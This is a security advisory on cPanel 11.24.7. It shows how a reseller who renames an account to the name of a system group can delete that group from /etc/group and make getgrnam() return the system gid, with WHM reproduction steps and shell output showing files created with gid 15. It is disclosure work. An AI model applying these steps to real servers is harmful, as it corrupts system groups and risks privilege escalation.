cPanel 11.24.7-EDGE_35784 - fun with getgrnam()



DESCRIPTION


Resellers with edit-account privileges could remove certain groups from /etc/group.


PLATFORMS TESTED
11.24.7-EDGE_35784
CentOS release 5.3 (Final)


A reseller could rename the username of one of their accounts to the name of a group in /etc/group which exists only as a group (i.e. does not have a corresponding user account). Examples of these groups are:

[user@host ~]$ for x in `cut -d : -f 1 /etc/group` ; do id $x 2>&1 | grep 'No such user' | cut -d : -f 2 ; done
sys
tty
disk
mem
kmem
wheel
man
dip
lock
users
floppy
utmp
screen
utempter
slocate
mailtrap
compiler


REPRODUCTION

1. Log into WHM as a reseller

2. Click "Modify an Account"

3. Rename a user to: man

* Observe the /etc/group entries for "man":

[root@host ~]# grep ^man: /etc/group
man:x:15:
man:x:740:


Fortunately the new "man" user still has the same gid that they held previously, which, in this case, is 740. As such, they are not in the "man" group that holds a gid of 15. A few things that can be done with this:

A. When the "man" user account is again renamed, this will affect the original "man" entry in /etc/group. In this example, the user was renamed to "man1", which effectively removed the original entry:

[root@host ~]# grep ^man /etc/group
man1:x:15:
man1:x:740:


B. When the "man" user account is terminated, both entries will be removed from /etc/group:

==> /var/log/secure <==
May  8 14:26:27 host grpck[15994]: delete group line `man:x:15:'
May  8 14:26:27 host grpck[15994]: delete shadow line `man:!::'
May  8 14:26:27 host usermod[15998]: change user `man' GID from `740' to `740'
May  8 14:26:27 host userdel[16024]: delete user `man'
May  8 14:26:27 host userdel[16024]: removed group `man' owned by `man'
[root@host ~]# grep ^man: /etc/group
[root@host ~]#


C. Privilege escalation possibilities. I don't doubt that it's possible, but figuring out how isn't something I have the desire to spend more time on. This bug makes calls to getgrnam() unsafe, when the value of the username is passed to it. For example:

[root@host ~]# grep ^man: /etc/group
man:x:15:
man:x:744:


[root@host ~]# id man
uid=747(man) gid=744(man) groups=744(man)


NOT SAFE

[root@host ~]# perl -e '$x = getgrnam(man); print "$x\n";'
15


So, it appears that any calls to getgrnam() which are passed the name of the user "man" will still return "15", as expected.

An example of this can be found in the /scripts/setupfp5 script:

[root@host ~]# grep -n getgrnam /scripts/setupfp5 | grep user
446:        my $usergid = ( getgrnam($user) )[2];


When the "man" user logs into cPanel and adds FrontPage extensions to their account via the "Install Extensions" button, we can see that the configuration files are assigned the gid of the original "man" group:

* 'ls' shows "man" as the group..

[root@host ~]# ls -al /usr/local/apache/conf/sites/
total 16
drwx--x--x 2 root wheel 4096 May  8 15:08 ./
drwxr-xr-x 8 root root  4096 May  8 15:07 ../
-rw-r----- 1 root man    269 May  8 15:08 example.com.conf
-rw-r----- 1 root man    281 May  8 15:08 www.example.com.conf


* but is the gid '15' or '744'?

[root@host ~]# stat /usr/local/apache/conf/sites/* | grep Gid:
Access: (0640/-rw-r-----)  Uid: (    0/    root)   Gid: (   15/     man)
Access: (0640/-rw-r-----)  Uid: (    0/    root)   Gid: (   15/     man)


* It is in fact the gid of the "man" group :-) Note that this example only serves to show how calls to getgrnam() are affected. There's nothing actually useful that can be done with this particular example as far as I can tell.

Here's another useless example showing how we can change the gid of the "man" user's ~/public_ftp directory:

[man@host ~]$ stat ~/public_ftp | grep Gid:
Access: (0755/drwxr-xr-x)  Uid: (  747/     man)   Gid: (  744/     man)


[man@host ~]$ /usr/local/cpanel/bin/ftpwrap QUOTA 0 0
Updating man:ftp....Done


[man@host ~]$ stat ~/public_ftp | grep Gid:
Access: (0755/drwxr-xr-x)  Uid: (  747/     man)   Gid: (   15/     man)


This also works if ~/public_ftp is removed (or renamed) and recreated as a file. Fortunately, the sgid bit is removed before the new group ownership is assigned (which is a security feature in coreutils if I remember right) since this is just a regular file:

[man@host ~]$ rm -rf public_ftp/
[man@host ~]$ touch public_ftp
[man@host ~]$ chmod 2755 public_ftp
[man@host ~]$ ls -l public_ftp
-rwxr-sr-x 1 man man 0 May  8 15:15 public_ftp*
[man@host ~]$ /usr/local/cpanel/bin/ftpwrap QUOTA 0 0
(error output here)
[man@host ~]$ ls -l public_ftp
-rwxr-xr-x 1 man man 0 May  8 15:15 public_ftp*


This doesn't hold true for directories though:

[man@host ~]$ mkdir public_ftp
[man@host ~]$ chmod 2755 public_ftp
[man@host ~]$ /usr/local/cpanel/bin/ftpwrap QUOTA 0 0
Updating man:ftp....Done
[man@host ~]$ ls -l | grep public_ftp
drwxr-sr-x  2 man  man    4096 May  8 15:24 public_ftp/
[man@host ~]$ stat public_ftp | grep Gid:
Access: (2755/drwxr-sr-x)  Uid: (  747/     man)   Gid: (   15/     man)


So, any files placed into that directory will automatically be assigned the gid of 15:

[man@host ~]$ touch public_ftp/test ; stat public_ftp/test | grep Gid:
Access: (0644/-rw-r--r--)  Uid: (  747/     man)   Gid: (   15/     man)


but that still doesn't allow us to create a sgid shell inside ~/public_ftp since we can't chown the shell to the necessary perms (e.g., 2755).



IMPACT


Resellers could remove groups from the system. They could also create files with a gid of a specific group. They could influence getgrnam() in certain ways. The potential for privilege escalation exists.